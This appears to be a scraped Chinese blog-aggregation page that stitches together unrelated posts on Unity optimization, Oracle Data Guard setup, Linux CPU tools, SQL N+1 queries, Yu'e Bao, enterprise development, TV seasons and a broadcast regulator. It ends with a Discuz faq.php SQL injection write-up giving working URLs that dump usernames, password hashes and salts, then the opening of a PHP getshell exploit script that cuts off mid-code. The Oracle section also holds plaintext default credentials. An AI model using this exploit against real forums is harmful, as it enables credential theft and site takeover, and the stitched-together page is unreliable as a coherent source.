• —软件人才免语言低担保 赴美带薪读研！—

    我们的游戏已经在wp8、ios和android平台上线了。这是我做的第一个Unity项目，期间遇到过不少困难和挫折，但是我和小伙伴们一路摸索，现在，游戏已经上线一段时间，并且很稳定。对于Unity，我一直在项目中学习，我会写一系列的文章记录自己的学习，希望看到文章的朋友多多交流。

    项目中后期，我做了一些优化工作，这里记录总结一下。

    非GPU支持的纹理格式，需要经过CPU解码；而GPU支持的纹理格式，GPU直接解码和显示，GPU的解码有很多优化，随机访问、快速寻址和并行解码等，因此效率高得多。而且，压缩过的纹理文件通常更小，比如ETC1是8:1的压缩比，文件小就意味着加载更快，更节约系统带宽。在手机上对比测试一下加载一个1MB的文件和一个8MB文件的耗时吧。

    在ios设备上，建议选择PVR格式。wp8和win8设备上，DXT格式。android设备，不透明贴图选择通用支持的ETC格式；而透明贴图，4大GPU厂商各自有自己的压缩格式，可以选择RGBA16。

    实测效果：显著提高渲染表现。我第一次打wp8包在lumia 520上运行，比较卡，声音有卡顿；改纹理压缩格式为DXT1/DXT5之后，在lumia 520上运行比较流畅，声音卡顿现象也没有了。

    另外，贴图建议做成方形的，一般不要超过1024x1024。我们最初在lumia 520上偶尔有纹理丢失现象，后来我把几个2048的贴图拆成1024x1024的，问题再也没有出现过，原因没搞明白，知道的朋友朋友请不吝赐教。

2. 限帧

    在移动设备上，Unity默认是60帧/秒，建议关掉垂直同步，把FPS限为30，进入后台时为1。限帧可以显著的减少发热和耗电。

3. 图集/材质/Mesh合并

4. 资源优化

5. 脚本优化

    很多时候，性能瓶颈点不在于渲染，而是脚本代码！我们要删除脚本中为空或不需要的默认方法，尽量少在Update中做事情，脚本不用时把它deactive。

    经过以上五步优化之后，在lumia 520，iphone 4和三星9100上测试，游戏都可以达到60FPS，满足了上线需求。但是，因为战斗场景元素最多，渲染表现最差，而且玩家在战斗场景中的时间最长，我后面又针对战斗做了一些优化。

6. 资源卸载、垃圾回收

   策划的同学反馈过，战斗的时候，偶尔会卡顿。仔细观察之后发现，是有规律的定时卡顿，然后检查代码发现，出于内存优化考虑，terender同学设计了每30秒自动进行一次资源卸载，资源卸载有时候还会触发GC.Collect()。改为进、出战场时卸载资源，而战斗中不再卸载，解决了偶尔卡顿的问题。

7. 资源预加载

    以空间换时间的方法。进入战场时，预加载战斗特效和卡牌，减少加载卡牌和发动技能时的帧数下降。这个地方，我最开始写成了阻塞式，后来发现会影响玩家进入战场的体验，改成了非阻塞的，用协程逐个加载。

8. 优化战斗卡牌渲染

    经过前面那些优化之后，我仍然不满足，一直在寻求继续的优化，让玩家的战斗体验可以更好。

    我们战斗时DrawCall能达到120个左右，我一直在考虑怎么降低DrawCall，3D场景占了20多个，这块没法优化了（没有美术啊%>_<%）。我就把目光盯向卡牌，战场上最多可以有20张卡牌，所以，卡牌是DrawCall的“贡献大户”。先问问策划，卡牌上是否有可以不显示或者合并的内容，策划的同学们寸步不让。吃了闭门羹，只能回来自己琢磨，后来终于想到，显示的内容我无法减少，但是我可以把所有的内容渲染到一起，这样以后绘制时只需要绘制渲染出的纹理而不需要绘制卡牌上“零散”的内容。

    卡牌上有卡像、卡框、种族、等级、名字、等级、攻/防等，贡献了5、6个DrawCall，而这些内容除了攻/防数字，别的内容在战斗时都不会改变，把他们渲染到一张纹理上，DrawCall就只有2个了：渲染出的纹理和攻/防数字！ps: 后来我觉得，攻/防数字也可以和别的内容渲染到一起，相对游戏的帧率，数字改变并不算频繁，每次数字改变重新绘制并不会带来显著的开销。

    想明白之后，实现就很简单了。然后，我分别打好wp8、ios和android的包，激动的测试，每个平台测试了至少30分钟。测试结果是：DrawCall降低了一半，帧数提高到了原来的2倍。而且，之前一直未较好解决的发热问题，完全解决了。在战场中打了30多分钟，lumia 520、Galaxy S4和iPhone 4s微微温，iPod Touch5，完全是凉的。对比了一下当前正火的《刀塔传奇》，完胜:-D。

    以上就是我在做我们的项目时，摸索出的适合我们游戏的一些Unity优化方案。因为我们的游戏是2D的，所以可能对于3D游戏的优化，有些方案可能并不适用，也不够全面。目前有些地方，我们做的也不是很好，优化是一项长期、持续的工作，后面我还会一直进行下去。

    下一篇文章预告：Unity自动打包工具，一键打包几十个渠道/平台。

数据库：Oracle11gr2

主库
alter database force logging;
alter system set db_unique_name='erpdb' scope=spfile;  --我们让主库db_name=db_unique_name
alter system set REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE scope=spfile;
alter system set LOG_ARCHIVE_FORMAT='%t_%s_%r.arc' scope=spfile;
alter system set LOG_ARCHIVE_CONFIG='DG_CONFIG=(erpdb,erpdg)' scope=both;
alter system set LOG_ARCHIVE_DEST_1='LOCATION=USE_DB_RECOVERY_FILE_DEST VALID_FOR=(ALL_LOGFILES,ALL_ROLES) DB_UNIQUE_NAME=erpdb' scope=both;
#alter system set LOG_ARCHIVE_DEST_2='SERVICE=erpdg ASYNC VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE) DB_UNIQUE_NAME=erpdg' scope=both;
alter system set LOG_ARCHIVE_DEST_2='SERVICE=10.10.1.251:1601/erpdg ASYNC VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE) DB_UNIQUE_NAME=erpdg' scope=both;
alter system set LOG_ARCHIVE_DEST_STATE_1=ENABLE scope=both;
alter system set LOG_ARCHIVE_DEST_STATE_2=defer scope=both;
alter system set LOG_ARCHIVE_MAX_PROCESSES=30 scope=both;

重启库
shutdown immediate;
startup mount
开启归档：
alter database archivelog;
alter database open;

将两边库的监听、tns都配好，能互相tnsping通。
监听
SID_LIST_erpdb =(SID_LIST =(SID_DESC =(ORACLE_HOME= /u01/erpdb/db/tech_st/11.2.0)(SID_NAME = erpdb)))
erpdb =(DESCRIPTION_LIST =(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = erpdb.dji.com)(PORT = 1601))))
SID_LIST_erpdg=(SID_LIST=(SID_DESC=(SID_NAME=erpdg)(ORACLE_HOME=/u01/erpdg/db/tech_st/11.2.0)))
erpdg=(DESCRIPTION_LIST=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.10.1.251)(PORT=1601))))
TNS
erpdb=(description =(address = (protocol = tcp)(host =10.10.0.251)(port = 1601))(connect_data = (sid = erpdb)))
erpdg=(description =(address = (protocol = tcp)(host =10.10.1.251)(port = 1601))(connect_data = (sid = erpdg)))

创建主库的密码文件，传送到dg库。或者dg库直接创建密码文件，sys密码与主库一致。
cd $ORACLE_HOME/dbs && orapwd file=orapw$ORACLE_SID password=oracle force=y

cd $ORACLE_HOME/dbs && vi fwy.ora
#
db_name=erpdb
db_unique_name=erpdg
db_create_file_dest='/u01/erpdg/db/apps_st'
diagnostic_dest='/u01/erpdg/db/tech_st/11.2.0/admin/erpdg_erpdg'
LOG_ARCHIVE_CONFIG='DG_CONFIG=(erpdb,erpdg)'
fal_server=erpdb
fal_client=erpdg
#
utl_file_dir='/tmp'
log_buffer=15728640 #15m
pga_aggregate_target=1073741824  #1G
java_pool_size=157286400  #150m
large_pool_size=157286400 #150m
sga_target=0
shared_pool_size=1073741824  #1G
db_cache_size=1073741824  #1G
parallel_max_servers = 8
_b_tree_bitmap_plans=FALSE
_fast_full_scan_enabled=FALSE
O7_DICTIONARY_ACCESSIBILITY=FALSE
_like_with_bind_as_equality=TRUE
_optimizer_autostats_job=FALSE
_sort_elimination_cost_ratio=5
_system_trig_enabled=TRUE
_trace_files_public=true
plsql_code_type='NATIVE'
plsql_optimize_level=2
compatible=11.2.0
cursor_sharing=EXACT
db_block_checking=false
db_block_checksum=true
db_files=5120
dml_locks=30000
log_checkpoint_interval=100000
log_checkpoint_timeout=1200
log_checkpoints_to_alert=TRUE
nls_territory=america
olap_page_pool_size=4194304
optimizer_secure_view_merging=FALSE
parallel_min_servers=0
sec_case_sensitive_logon=false
undo_management=auto
undo_retention=21600 #6小时
undo_tablespace=APPS_UNDOTS1
remote_login_passwordfile=EXCLUSIVE
query_rewrite_enabled=true
db_block_size=8192
db_file_multiblock_read_count=64
db_writer_processes=10
resource_manager_plan=''
_resource_manager_always_on = false
disk_asynch_io=false
open_cursors=7000
recyclebin =off
_system_trig_enabled = true
O7_DICTIONARY_ACCESSIBILITY = false
nls_language = american
nls_territory = america
nls_date_format='DD-MON-RR'
nls_numeric_characters='.,'
nls_sort=binary
nls_comp=binary
nls_length_semantics=BYTE
max_dump_file_size=51200
timed_statistics = true
processes=3000
sessions  = 6000
aq_tm_processes = 2
job_queue_processes = 30
_sqlexec_progression_cost = 2147483647
workarea_size_policy = AUTO
olap_page_pool_size = 4194304
optimizer_mode =FIRST_ROWS
LOG_ARCHIVE_FORMAT='%t_%s_%r.arc'
STANDBY_FILE_MANAGEMENT = auto

备库启动到nomount状态
sqlplus '/as sysdba'<<EOF
startup nomount pfile=?/dbs/fwy.ora
EOF

源端利用11g的duplicate from active技术
源端 
rman target sys/oracle auxiliary sys/oracle@erpdg
DUPLICATE TARGET DATABASE for standby  FROM ACTIVE DATABASE;

duplicate完毕后，备库：
create spfile='?/dbs/fwy2.ora' from memory;
cd $ORACLE_HOME/dbs && cp fwy2.ora spfile${ORACLE_SID}.ora

备库增加日志组，执行4次增加4组。
alter database add standby logfile size 50m;

主库开启传送日志
alter system set LOG_ARCHIVE_DEST_STATE_2=enable scope=both;

先不要open库，就算open也失败，因为此时可能数据文件不一致。所以，我们先recover一会儿，让其recover到一致状态。
alter database recover managed standby database using current logfile disconnect from session parallel 8;

一会儿后，停掉MRP进程：
ALTER DATABASE RECOVER MANAGED STANDBY DATABASE CANCEL;
然后可以开启open read only模式了。
alter database open read only;
alter database recover managed standby database using current logfile disconnect from session parallel 8;

观察mrp进程是否正常工作。
select PROCESS,STATUS,CLIENT_PROCESS,GROUP#,THREAD#,SEQUENCE# , BLOCK# from  v$managed_standby where process='MRP0';

--比较主库备库的应用日志最大时间
alter session set nls_date_format='yyyy-mm-dd hh24:mi:ss';
col max(first_time) for a30
select max(first_time) from v$log_history;

--对于主库就是写完了的最大日志，对于备库，就是应用完了的最大日志。
alter session set nls_date_format='yyyy-mm-dd hh24:mi:ss';
select max(sequence#) from v$log_history where resetlogs_time>=( select max(resetlogs_time ) from v$log_history) ; 

（1）查看各个CPU核的使用情况

sudo top -d 1

进入之后，按1，会出现下面的CPU使用情况，其中us列反映了各个CPU核的使用情况，百分比大说明该核在进行紧张的任务。

（2）查看哪个进程在哪个CPU核上运行

sudo top -d 1

进入之后，依次按f、j和空格，会出现如下（其中P列指示的是该进程最近使用的CPU核，如进程mencoder的P列为7，则表示mencoder最近在核7上运行，对于多线程甚至单线程的进程，在不同时刻会使用不同的CPU Core）：

（3）vmstat查看整体的CPU使用情况

sudo vmstat 2 3

参数2表示每个2秒显示一下结果，3表示显示结果的数目。

cs列表示每秒上下文切换次数，us表示用户CPU时间。

（4）Intel工具powertop

sudo powertop

会显示各个CPU核的使用百分比。

（5）gprof分析一个程序

假设程序源文件为speedup-example.cpp

gcc speedup-example.cpp -o speedup-example -pg（注意-pg）

执行程序./speedup-example，会在当前目录生成gmon.out，这个文件是我们查看程序运行情况的来源，接下来用gprof命令查看它：

gprof -b speedup-example gmon.out > Results.txt

这样这个程序的运行信息就在Results.txt中了。

（6）pidstat实时查看一个进程的CPU使用情况及上下文切换情况

首先安装

sudo apt-get install sysstat

接下来使用pidstat（下面的-p是与进程号连用，用于显示特定进程的性能信息，之后还可以指定每隔几秒显示，一共显示几条）：

• pidstat 5 -p 15488（你要追踪的进程的pid）

这样就能实时显示15488进程的CPU使用情况：

• pidstat -w —— 显示每个进程的上下文切换情况

N+1问题

N+1问题是数据库访问中最常见的一个性能问题，首先介绍一下什么是N+1问题：

举个例子，我们数据库中有两张表，一个是Customers，一个是Orders。Orders中含有一个外键customer_id，指向了Customers的主键id。

想要得到所有Customer以及其分别对应的Order，一种写法是

SELECT * FROM Customers;

对于每一个Customer；

SELECT * FROM Orders WHERE Orders.customer_id = #{customer.id}

这样我们实际对数据库做了N+1次查询：选择所有Customer一次得到N个Customer，对于N个Customer分别选择其对应的Order一共N次。所以，一共执行了N+1次查询，这就是N+1问题

N+1问题的一般解决方法

使用Left Join一次性取出所有数据：

SELECT * FROM Customers LEFT JOIN Orders on Customers.id = Orders.customer_id

这样虽然取出的数据相对多一些，但是只需要一次执行

Rails中的N+1问题

因为Rails使用ActiveRecord访问数据库。所以，它的N+1问题暴露的不是那么明显。

假设我们有两个ActiveRecord：Customer、Order。

Customer has_many :orders

Order belong_to :customer

一般我们获取所有Customer的方法是：

customers = Customer.all

如果我们后面紧跟着

customers.each { |customer| puts customer.orders.amount }

这样就会产生N+1问题，因为在获取所有Customer的时候，是没有去取orders的。然后在后面each遍历的时候，就会挨个的取orders，这就构成了rails中的N+1

问题。

Rails中的N+1问题解决方法

customers = Customers.includes(:orders)

这样就在读取customers的时候也一次性的把orders都取出了。后面的参考资料有更详细的说明

更多

并不是对于所有的涉及到外键关联，一对多的问题都会产生N+1问题，这还是要取决于你的业务。比如你的方法在执行时，只有很少的可能会去获取customer对应的orders，那就保持默认的lazy方式去就行了。强制eager去取反而得不偿失。

参考资料：

http://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations

余额宝确实是个好产品，完全可以颁发 "2013年最佳互联网产品" 给它.我以前买过很多次货币基金，存取都很麻烦，需要T+1，而余额宝消费/转账 都可以实时完成，所以我先把零钱都放到余额宝当中。相对现在乌央乌央扑到“民营银行”蛋糕那些炒作者们，余额宝做了个完美的资源整合

余额宝的3大优点

1. 实时消费/取现
2. 转账到多家银行免费
3. 网站的易用性大大超过银行和各基金公司

余额宝实现这些功能，并不是向银监会申请到什么特殊政策，而只是在天弘增利宝货币基金上简单做了一个壳

• 基金购买/赎回的T+1是硬性规定，你用余额宝消费/提款的时候，支付宝先把钱给你垫付上，明天基金的钱赎回到账之后自动还给支付宝。支付宝手上有大量的沉淀资金，帮你垫钱一点都没困难. 就这样很小的微创新，大大提高了基金的便利程度
• 支付宝向各个银行转账免费，其实是支付宝在各家银行都开有户头，你向某个银行账号转账，支付宝就用该银行的账户向这个账号转账，这是同一银行内部转账，当然免费
• 支付宝本身有大量的沉淀资金，主要是大量卖家的，以及付款14天的档期。支付宝在这个基础上做余额宝，根本不愁客源
• 支付宝互联网产品制作水准，不用多说，甩银行10年吧。

所以，余额宝是个完美的资源整合，多方共赢

• —软件人才免语言低担保 赴美带薪读研！—

算起来，我从互联网开发转向企业开发已经有四年时间了。在刚刚投身企业开发的那段时间，虽然也读过《企业应用架构模式》之类的书，到底没有做过正经的“企业开发”，而且业务并不算太复杂，所以还是借着之前互联网开发的老底子解决问题。这么做确实解决了很多问题，但心里还不太放心，总觉得这不是名正言顺的“企业开发”，以后会有问题。

因为谈到传统的企业开发，大家通常想到的是重型的框架、瀑布模型、严格的限制、海量的文档和签字、对商用软件的倚重等等（正版盗版另论）。而谈到互联网开发，大家通常想到的是轻量的开发、迅速迭代、不断的试错、面对面的交流、开源/免费软件的广泛使用。传统上，企业开发和互联网开发并不对付，你觉得我是杂乱无章的恣意胡闹，我觉得你是傻大笨粗的因循守旧，好在双方“井水不犯河水”，也相安无事。

企业开发和互联网开发的这种区别，也是我在跨界之时的一大忧虑。然而工作得越久，事实却不断证明这种担心是多余的，或者至少不必高估“企业开发”的正统性。而且，有越来越多的迹象让我相信，企业开发的互联网转向，是未来的趋势。按照我的总结，原因大致有以下几点。

首先，经济的发展诞生了越来越多的小企业，而信息化的发展已经让IT成了各种企业的必须，所以“企业开发”必须考虑到这些小企业的需求。前些年大家开个饭馆、书店，可能手工记账即可。现在哪家饭馆、哪家书店没有IT系统，简直是不可想象——哪怕这种IT系统是非常简单的程序。尤其是在电子商务兴起之后，众多企业都希望上网展示自己、拓展业务，这时候更少不了IT系统。这些小企业只关心简单、便宜、易用的IT系统，传统的重型“企业开发”并不能适应它们的需求。即便其业务增长迅速，这种业务通常也是创新型的业务，没有现成的企业系统能够适应，所以互联网开发模式下轻量级的、能迅速迭代的系统，更能满足需求。

其次，企业开发已经很难吸引到优秀的人才加盟。最早的软件开发几乎等于“企业软件开发”，一招一式皆有成为规范可循，而互联网开发更像是半路出家，“摸着石头过河”的产物，一早并不被科班所重视。所以之前定义的“好学生”，往往是理论学得扎实、教材读得仔细、工具用得熟练的人。企业开发的套路正好又和学校学的一致，所以“好学生”往往能成为企业开发的优秀人才。如今的情况却大不相同，“好学生”嘴里谈的更多的，也更感兴趣的，可能是MongoDB、Node.js、Ruby on Rails、Go等等新鲜玩意。别说“老派的”WebService、Struts，甚至就连.NET MVC、Spring估计都不能引起他们的兴趣。加之传统从事企业开发的人对技术的保守特性（更愿意采用成熟技术），直接灭绝了大量人才（包括优秀的苗子）进入企业开发领域的可能性，而没有新鲜血液补充的企业开发团队，不说开发新功能，维护的成本都会日益增高。我曾经遇到过客户仍在使用Delphi开发的系统，可惜已经很难找到人维护了。

再次，移动办公的应用场景所倚赖的技术离不开互联网。传统的企业开发，无论Java平台还是.NET平台，与如今流行的移动开发基本是“绝缘”的。企业开发所使用的COM、SOAP、WSDL等等技术，在iOS、Android开发者看来，简直是天方夜谭，即便费劲周折，也不一定能取得好的效果。然而企业开发分明又面临着支持移动平台、移动办公的压力，如果固守之前的套路和技术，只有死路一条。

最后，如今的互联网已经越来越讲究互连互通了，传统企业开发的“闭环”思维和模式，已经越来越不适应时代的要求。我接触的很多客户、合作方，发现企业系统的一大问题是信息孤岛效应。或许两家企业都有各自的信息系统，而且运行流畅稳定，可是一旦需要进行数据交流则叫苦不迭。因为没有合适的对外接口，要么就冒很大风险开放不必要的权限，要么就只能通过QQ或邮件手工交换数据。在互联网开发的人看来，世界天生是由无数API构成的，这样才有无限想象空间；但对很多从事企业开发的人来说，别说对外的接口，就是对内的接口都很难做，大家更习惯为着确定目的“量身打造”紧耦合的系统。

不能互连互通的另一大问题在于，互联网、云计算，已经为以前麻烦的众多问题提供了低成本的解决方案。比如困扰许多企业系统的存储问题，传统的解决办法大概是去买专门的存储设备，购置费用一大笔不说，支持和维护的支出更是没有尽头。但是同样的问题，在互联网上已经有非常成熟的解决方案，存储的价格相当低廉，很适合存储海量的非敏感业务数据（如果不信任国内的云服务商，可以存放在亚马逊的S3，也可以分几家存储）。如果不能采用类似的方案，必然要求企业系统的开发者“亲力亲为”地解决这种问题，分散了本该聚焦在核心业务上的注意力。

当然，传统的企业开发方式里，还是有很多有意义而且值得保留的做法，比如明确的目标设定、详细的需求管理、规范的进度把握等等。我曾在知乎看到有人评价说“互联网有时给人的感觉是太杂乱无章了，有时根本不按规矩来，而要真正做好一件事情，基本的规矩是必须要遵守的”，这种观点我很认同。但是总的来说，企业开发从传统的“企业开发模式”转向“互联网开发模式”，是“不得不为”的趋势。我心中理性的企业开发，应当是在“专心关注核心业务”之外，广泛、合理地应用外界各种开发技术和资源的模式。各位身处企业开发领域，但还没有足够资本退休的朋友，或许该早早做准备了。

--创建序列
create sequence id_seq increment by 1 minvalue 1 no maxvalue start with 1;
--查询序列的值
select nextval('id_seq') ;
select currval('id_seq') ;
--创建日志表
CREATE TABLE ss_log
(
  id integer NOT NULL DEFAULT nextval('id_seq'::regclass),
  createtime timestamp without time zone,
  model character varying(100),
  CONSTRAINT log_pkey PRIMARY KEY (id)
)
WITH (
  OIDS=FALSE
);
ALTER TABLE ss_log
  OWNER TO postgres;

--查询日志表数据
select * from ss_log ;

--插入日志信息
insert into ss_log values(4,current_date ,'model') ;

--为ss_log创建触发器，分配需要插入到日志表中的数据
CREATE TRIGGER insert_ss_log_trigger
    BEFORE INSERT ON ss_log
    FOR EACH ROW EXECUTE PROCEDURE ss_log_insert_trigger();

CREATE OR REPLACE FUNCTION ss_log_insert_trigger() RETURNS TRIGGER AS $$
declare
	table_name varchar := null ;
	log_createtime varchar := null ;
BEGIN
	log_createtime := to_char(NEW.createtime,'yyyyMMdd') ;
	select relname into table_name from pg_class where relname = 'ss_log_'||log_createtime  ;
	if table_name is null then 
		table_name := 'ss_log_'||log_createtime ;
		execute 'CREATE TABLE '||table_name||' (
			CHECK ( createtime >= '''||log_createtime||'''::timestamp  AND createtime < ('''||log_createtime||'''::timestamp + interval ''1d'') )
		)INHERITS (ss_log)';
	end if ;
	--将数据插入相应的表  ss_log_20140704
	execute 'INSERT INTO '|| table_name||'(id,createtime,model) VALUES ('||NEW.id||','''||NEW.createtime||''','''||NEW.model||''')' ;
	--不向主表中查数据
	RETURN NULL;
END;
$$
LANGUAGE plpgsql;

• —软件人才免语言低担保 赴美带薪读研！—

回复一：

美国商业性质的电视台很多，竞争十分激烈，于是就产生出这种“边拍边放”的商业化连续剧模式，收视率差的瞬间就会被从日程表上刷下来，后面的也不用拍了，成本降到最低，可说是名副其实的“市场经济”。

经过长时间实践性的市场摸索，美国各商业电视台现在都普遍采用每年拍摄一个电视剧段落，如果反响不错，则继续拍摄下去。但是考虑到演职人员的休息、额外工作安排等问题，而不会把拍摄日程排满整年，通常在 3～6 个月之间，于是把这样的一个拍摄段落称为 Season（季），作为划分这个段落的一个标准。

在推出了“季”这个概念以后，由于美国观众习惯连续剧在一次相对较短的观看过程中看到剧情结束，但又可以留一个可以令人想象的空间，所以每“季”的结束一般是一个故事段落的结束。不过也不尽然，在美国及国内都很火的《越狱》第一季，在拍摄了十几集的时候，演职人员进入了休假状态，之后的半年才开始继续拍摄和播放第一季剩下的十多集，如果从传统意义的“季”上来说，越狱第一季应该包含了两季，但是以剧情的完整性来说，又是一季。

所以说，如果追寻“季”的出处，是出于拍摄或播放周期，现在的含义，则是可以自成一个故事段落，后续作品还可能推出的电视剧段落。

回复二：

这似乎是一个不需要回答，又从未搞懂过的问题呢，在本人搜索了几十个网页后，发现很多老外也不明白为什么美剧的播放以 Season 为单位，英剧以 Series 为单位。不过拼凑了一下各方观点，“季”的概念差不多是这样的。

普遍的答案是 Season 这个术语来源于戏剧界，舞台剧、歌剧、芭蕾剧都是以“Season”代表演出季，也就是一个时间段内上演的剧目，没有严格的时间限制。

不过像美剧的演播季的确很有“季”的特征，秋季档的剧每一季有 22 集，一般是从 9 月到次年 5 月，每一季的上半部分一般是 10-13 集，播放三个月后迎来冬歇。在间歇期（Hiatus），电视台高层可以拿到收视调查数据和观众反馈以评估新剧的价值，是续订还是砍掉就看 11 月的数据啦。中间的空白会由一些季中剧（mid-season replacement）和重播老剧填补，比如《实习医生格蕾》原来就是《波士顿法律》的季中剧，因为评价高被发展出来的。被预定的剧集会在 1-2 月回归，4-5 月结束，接近一个季度的长度。

过去夏季档会被电视台看做垃圾时间，不过现在电视台开始注重这个档期，推出了不少原创剧。这点要归功于 USA 和 TNT 这些有线台挖掘了这个市场，虽然夏季的整体收视率会下滑，但他们发现观众不会因为天气原因不看电视的。

美剧还有一个样片季（pilot season）。制片人会在 1-4 月为秋季上档新剧进行前期试拍，这些 Pilot 会被送到电视台高层手上，还会举办小规模的试播。到 5 月的时候，电视台将会排定秋季档的播出表，决定哪些 Pilot 适合延展成一季，选中的新剧还会向潜在的广告商进行展示。

这样英剧用 Series 就好理解多了，人家每年只播放 6 集实在离“季”的长度有点远，另外播放也不像美剧有没有固定时间。英国主要有两家电视台，BBC 和 ITV。BBC 是付费的，所以节目中间不插播广告，大概因为没有竞争和广告的压力，创作的随意度比较大，一部剧通常也就 1-2 个编剧，没有美剧那种庞大的编剧团队。

美国的环境就大不一样了，为什么 9 月会成为新剧密集开播的时间？美剧制作模式归根结底是出于商业利益的考虑，因为广告金主车企会在那时发布新系列，进行大量的广告投放，而新剧会最大程度刺激收视率。

相比之下，收费的有线台的“季”要短很多，创作人员倾向于质量而非长度，所以一季一般在 10-13 集。

不是所有的剧集都是一周一更，日间肥皂剧是一周五集，年终不休，一部肥皂剧放上 40 年，集数都过万了。另外重播剧也会一周播放五集，“重播”对制作方差不多是无本万利，但要获得重播资格起码你得放了四季，必须有 88-100 多集数了。

您可能对以下文章感兴趣：
如果《权力的游戏》是一部80年代的美剧	中国是否有希望开创类似美剧的季播剧模式，它的阻力有哪些？	赴美生子的成本多少？	美剧和英剧有什么不同？	各大热门美剧的观众纷纷展开自救，连夜上书广电总局
无觅

广电总局罗建辉：不再发集成播控牌照 互联网电视内容须合法

【TechWeb报道】7月3日消息，在今日举办的“第三届中国互联网电视产业论坛”上，新闻出版广电总局网络视听节目管理司司长罗建辉在讲话中透露，将不再发放集成播控牌照，互联网电视中的内容服务必须合法，同时指出商业网站不能在互联网电视上自建内容平台。

“我再次强调，设备生产企业、互联网站不得设立集成平台和内容平台，互联网电视中的内容服务，只能接受合法的内容。”罗建辉同时表示，商业网站可在内容上参与，向自主的内容平台提供版权节目。

罗建辉表示，可以从三个层面来理解和把握互联网电视定位：

一是从开办主体上，只有经过国家新闻出版广电总局批准的广播电视机构，才能开展互联网电视内容平台。

目前总局共批准了七家互联网电视集成服务机构，还批准了江苏电视台，电影卫星频道节目制作中心，湖北广播电视台，城市联合电视台，山东、北京等14家广播电视机构作为互联网电视内容平台。其中集成服务牌照将不再发放，内容服务牌照鼓励省级以上广电机构进行申请。

二是在内容管理上，互联网电视播出的内容与传统电视播出的内容审核标准一致，管理尺度一致，版权保护原则一致。

三是在社会责任上，不管是传统的有线无线电视还是互联网电视，都只是在业务模式上有差异，在履行社会媒体责任方面没有特殊性。要坚持社会效益和经济效益有机统一，特别是处于产业核心环节的互联网电视集成服务机构和设备生产企业，必须履行好责任，确保为老百姓提供绿色、安全的内容服务。

罗建辉在谈及互联网电视集成服务机构发出整改函时表示，主要原因是由于相关机构推出的互联网电视机顶盒为不良内容进入电视机提供技术支持和通道，违反总局相关管理政策。

“互联网电视绿色、内容安全健康，是我们发展互联网电视必须坚持的发展方向，也就是说互联网电视是电视播出方式的一种，必须遵守广播电视管理法律法规的原则和精神。”罗建辉说道。

据说是某数字公司的应急给发布出来了.群里面的小伙伴都惊呆了，具体的漏洞分析看 此文

其中的

在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里，有
提到通过提取魔术引号产生的“\”字符带来的安全问题，同样这个问题在这里又一次完美体
现，如下面的代码片段:
 
// foo.php?xigr='ryat
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
...
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
 
echo $xigr['hi'];
// echo \
 
上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr['hi'],但是没
有对变量$xigr做严格的类型规定，当我们提交一个字符串变量$xigr='ryat,经过上面的处理
变为\'ryat,到最后$xigr['hi']就会输出\,如果这个变量引入到SQL语句,那么就会引起严重
的安全问题了,再来看下面的代码片段:
 
...
if($xigr) {
foreach($xigr as $k => $v) {
$uids[] = $v['uid'];
}
$query = $db->query("SELECT uid FROM users WHERE uid IN ('".implode("','", $uids)."')");
 
利用上面提到的思路,通过提交foo.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可
以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞:D

测试漏洞存在的语句

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

爆出账号+密码+salt的语句

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

以下内容仅供站长进行安全自检，非法利用责任自负

附上getshell exp:（根据别人的测试，代码可能有些部分有待完善）

<?php
 
/**
* @author: xiaoma
* @blog  : www.i0day.com
* @date  : 2014.7.2 23:1
*/
 
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
 
if ($argc < 2) {
print_r(&#039;
********************************************************
*  Discuz faq.php SQL Injection Exp                    *
*  ---------By：Www.i0day.com-----------               *
*     Usage: php &#039;.$argv[0].&#039; url [js]                    *
*  -------------------------------------               *
*  js选项: 1.GetShell 2.取密码 3.查表前缀              *
*                                                      *
*   php &#039;.$argv[0].&#039; Www.i0day.com / 1                    *
*   php &#039;.$argv[0].&#039; Www.i0day.com /dz72/ 1               *
*                                                      *
*                                                      *
********************************************************
&#039;);
exit;
}
if($js==1){
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
 
if(strpos($resp,"::")==-1){
echo &#039;表前缀可能不是默认cdb_ 请先查看表前缀！&#039;;
}else{
preg_match("/::(.*)::/",$resp,$matches);
$lenght=intval($matches[1]);
if($lenght){
if($lenght<=124){
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
